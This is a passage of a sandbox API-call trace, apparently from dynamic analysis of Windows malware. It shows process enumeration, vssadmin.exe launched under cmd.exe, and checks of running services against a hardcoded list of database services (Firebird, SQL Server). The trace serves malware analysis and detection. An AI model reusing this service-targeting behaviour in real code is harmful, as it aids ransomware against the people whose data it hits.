lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.516] lstrlenW (lpString="svchost.exe") returned 11 [0217.516] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.517] lstrlenW (lpString="svchost.exe") returned 11 [0217.517] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.517] lstrlenW (lpString="audiodg.exe") returned 11 [0217.517] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.518] lstrlenW (lpString="svchost.exe") returned 11 [0217.518] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.519] lstrlenW (lpString="svchost.exe") returned 11 [0217.519] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.519] lstrlenW (lpString="dwm.exe") returned 7 [0217.519] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.520] lstrlenW (lpString="explorer.exe") returned 12 [0217.520] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.521] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.521] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0217.521] lstrlenW (lpString="taskhost.exe") returned 12 [0217.521] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.522] lstrlenW (lpString="svchost.exe") returned 11 [0217.522] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0217.522] lstrlenW (lpString="taskeng.exe") returned 11 [0217.522] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0217.523] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0217.523] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0217.524] lstrlenW (lpString="nova.exe") returned 8 [0217.524] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0217.524] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0217.524] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0217.525] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0217.525] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0217.526] lstrlenW (lpString="picks blair.exe") returned 15 [0217.526] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0217.526] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0217.526] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0217.527] lstrlenW (lpString="principal.exe") returned 13 [0217.527] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0217.528] lstrlenW (lpString="transportation.exe") returned 18 [0217.528] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0217.529] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0217.529] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0217.529] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0217.529] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0217.530] lstrlenW (lpString="planned.exe") returned 11 [0217.530] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0217.530] lstrlenW (lpString="springer andrew.exe") returned 19 [0217.531] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0217.531] lstrlenW (lpString="cakes import.exe") returned 16 [0217.531] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0217.532] lstrlenW (lpString="theory.exe") returned 10 [0217.532] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0217.532] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0217.532] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0217.533] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0217.533] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0217.534] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0217.534] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0217.534] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0217.534] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0217.535] lstrlenW (lpString="indicescancellation.exe") returned 23 [0217.535] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0217.536] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0217.536] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0217.536] lstrlenW (lpString="desk.exe") returned 8 [0217.536] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.537] lstrlenW (lpString="svchost.exe") returned 11 [0217.537] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0217.537] lstrlenW (lpString="sppsvc.exe") returned 10 [0217.537] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.538] lstrlenW (lpString="svchost.exe") returned 11 [0217.538] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.539] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.539] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.539] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.539] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0217.540] lstrlenW (lpString="winhost.exe") returned 11 [0217.540] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.541] lstrlenW (lpString="cmd.exe") returned 7 [0217.541] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.541] lstrlenW (lpString="conhost.exe") returned 11 [0217.541] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0217.542] lstrlenW (lpString="vssadmin.exe") returned 12 [0217.542] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0217.543] lstrlenW (lpString="VSSVC.exe") returned 9 [0217.543] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.543] lstrlenW (lpString="svchost.exe") returned 11 [0217.543] Process32NextW (in: hSnapshot=0x208, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0217.544] CloseHandle (hObject=0x208) returned 1 [0217.544] Sleep (dwMilliseconds=0x1f4) [0218.167] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fb68 [0218.168] EnumServicesStatusExW (in: hSCManager=0x63fb68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0218.168] GetLastError () returned 0xea [0218.168] EnumServicesStatusExW (in: hSCManager=0x63fb68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a0c628, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a0c628, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0218.168] CloseServiceHandle (hSCObject=0x63fb68) returned 1 [0218.169] lstrlenW (lpString="Appinfo") returned 7 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0218.169] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0218.169] lstrlenW (lpString="AudioSrv") returned 8 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0218.169] lstrlenW (lpString="BFE") returned 3 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0218.169] lstrlenW (lpString="CryptSvc") returned 8 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0218.169] lstrlenW (lpString="CscService") returned 10 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0218.169] lstrlenW (lpString="DcomLaunch") returned 10 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0218.169] lstrlenW (lpString="Dhcp") returned 4 [0218.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0218.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0218.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0218.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0218.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0218.169] lstrlenW (lpString="Dnscache") returned 8 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0218.170] lstrlenW (lpString="DPS") returned 3 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0218.170] lstrlenW (lpString="eventlog") returned 8 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0218.170] lstrlenW (lpString="EventSystem") returned 11 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0218.170] lstrlenW (lpString="FontCache") returned 9 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0218.170] lstrlenW (lpString="gpsvc") returned 5 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0218.170] lstrlenW (lpString="iphlpsvc") returned 8 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0218.170] lstrlenW (lpString="LanmanServer") returned 12 [0218.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0218.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0218.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0218.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0218.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0218.171] lstrlenW (lpString="LanmanWorkstation") returned 17 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0218.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0218.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0218.171] lstrlenW (lpString="lmhosts") returned 7 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0218.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0218.171] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0218.171] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0218.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0218.171] lstrlenW (lpString="MMCSS") returned 5 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0218.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0218.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0218.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0218.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0218.171] lstrlenW (lpString="MpsSvc") returned 6 [0218.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0218.171] 